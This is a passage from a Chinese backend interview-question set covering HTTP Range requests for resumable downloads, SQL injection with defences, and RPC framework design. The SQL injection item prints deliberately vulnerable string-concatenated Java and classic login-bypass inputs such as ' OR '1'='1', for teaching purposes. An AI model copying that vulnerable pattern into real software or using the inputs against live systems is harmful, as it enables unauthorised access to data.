  • 禁止 ping 能提高多少安全性?(防止简单的存活探测,但对端口扫描无效)
  • 用 TCP 检测代替 ping 的方案?(tcping host portnc -z host port

Q48: HTTP 断点续传是什么?Range 请求的原理? 「🟡 中级」

考察点:HTTP Range 请求和断点续传。

参考答案

断点续传:下载中断后,从断点继续下载,而不是从头开始。通过 HTTP Range 头实现。

http
// 首次请求(下载前 1000 字节)
GET /file.zip HTTP/1.1
Range: bytes=0-999

// 服务器响应
HTTP/1.1 206 Partial Content
Content-Range: bytes 0-999/5000
Content-Length: 1000
Accept-Ranges: bytes
http
// 断点续传(从第 2000 字节开始)
GET /file.zip HTTP/1.1
Range: bytes=2000-

// 服务器响应
HTTP/1.1 206 Partial Content
Content-Range: bytes 2000-4999/5000
Content-Length: 3000

关键头字段

头字段方向说明
Range请求客户端指定需要的字节范围
Content-Range响应服务端返回当前范围和总大小
Accept-Ranges响应服务端声明支持断点续传
If-Range请求验证资源是否变化(ETag/Date)
ETag响应资源唯一标识,用于验证

状态码

  • 206 Partial Content:范围请求成功
  • 200 OK:不支持 Range 或 If-Range 验证失败 → 返回完整内容

断点续传的完整流程

  1. 客户端下载文件,记录已下载的字节数
  2. 下载中断
  3. 重新下载时,发送 Range: bytes=已下载字节数-
  4. 服务器返回 206 和剩余数据
  5. 如果 If-Range 验证资源已变化 → 重新从头下载

多线程下载

线程1: Range: bytes=0-1249999
线程2: Range: bytes=1250000-2499999
线程3: Range: bytes=2500000-3749999
线程4: Range: bytes=3750000-4999999

追问延伸

  • 如何验证断点续传时文件没有变化?(用 If-Range + ETag)
  • 视频网站的"拖拽进度条"是怎么实现的?(Range 请求对应的视频片段)

Q49: SQL 注入是什么?如何防御? 「🟡 中级」

考察点:Web 安全的核心漏洞。

参考答案

SQL 注入:攻击者通过输入恶意的 SQL 片段,使后端拼接的 SQL 语句被篡改,执行非预期的数据库操作。

java
// 漏洞代码:直接拼接 SQL
String sql = "SELECT * FROM users WHERE name = '" + username + "' AND password = '" + password + "'";

// 攻击输入
username = "admin' --"
password = "anything"
// 实际执行的 SQL:
SELECT * FROM users WHERE name = 'admin' --' AND password = 'anything'
-- -- 后面的内容被注释,密码校验被绕过
java
// 攻击输入2:万能密码
username = "' OR '1'='1"
password = "' OR '1'='1"
// 实际执行的 SQL:
SELECT * FROM users WHERE name = '' OR '1'='1' AND password = '' OR '1'='1'
-- '1'='1' 永远为真 → 返回所有用户

SQL 注入的危害

  • 绕过登录验证
  • 获取敏感数据(拖库)
  • 修改/删除数据
  • 执行系统命令(xp_cmdshell

防御方案

方案效果说明
预编译语句最好参数化查询,SQL 和数据分离
ORM 框架MyBatis #{}、JPA 自动参数化
输入校验辅助白名单校验、长度限制
最小权限纵深防御DB 账户只给必要权限
WAF辅助Web 应用防火墙拦截 SQL 关键字
java
// 正确:预编译语句
PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE name = ? AND password = ?");
ps.setString(1, username);
ps.setString(2, password);

// MyBatis 正确用法
// #{} 预编译参数(安全)
SELECT * FROM users WHERE name = #{username}
// ${} 字符串替换(危险!不安全)
SELECT * FROM users WHERE name = '${username}'  // 不要这样用

追问延伸

  • MyBatis 的 #{}${} 有什么区别?(#{} 预编译安全,${} 拼接危险)
  • 预编译为什么能防 SQL 注入?(SQL 结构已固定,参数只当数据处理,不会被解析为 SQL)

Q50: RPC 框架的核心组件有哪些?gRPC 和 Dubbo 有什么区别? 「🔴 高级」

考察点:RPC 框架的架构理解。

参考答案

RPC 的核心组件

客户端                    服务端
  ↓                         ↓
1. 客户端代理(Stub)      1. 服务端代理(Skeleton)
2. 序列化                  2. 反序列化
3. 网络传输                3. 网络接收
   ↓                         ↓
4. 编码/协议               4. 解码/协议
   ─────────────────────────
           网络层
组件作用常见实现
序列化对象 → 字节流Protobuf、JSON、Hessian
网络传输字节流传输Netty(NIO)、gRPC(HTTP/2)
服务注册服务发现Nacos、Consul、ZooKeeper
负载均衡请求分发客户端 LB、服务端 LB
容错调用失败处理重试、熔断、降级
代理透明调用动态代理(JDK、CGLIB)

gRPC vs Dubbo

维度gRPCDubbo
协议HTTP/2Dubbo 协议(默认 TCP)
序列化ProtobufHessian2 / Protobuf
跨语言强(多语言支持)弱(Java 为主)
服务治理弱(需结合 Istio 等)强(内置注册中心、路由、限流)
流式支持支持(双向流)支持(Triple)
生态Google 主导阿里主导

RPC vs HTTP API

维度RPCHTTP API
协议TCP/HTTP2HTTP/1.1
性能高(二进制 + 长连接)较低(文本 + 短连接)
跨语言取决于框架天然跨语言
可读性差(二进制)好(JSON/文本)
适用场景内部服务间调用对外 API

追问延伸

  • 为什么内部服务用 RPC 而不用 HTTP API?(性能、服务治理、类型安全)
  • gRPC 为什么用 Protobuf?(二进制编码体积小、解析快、跨语言生成代码)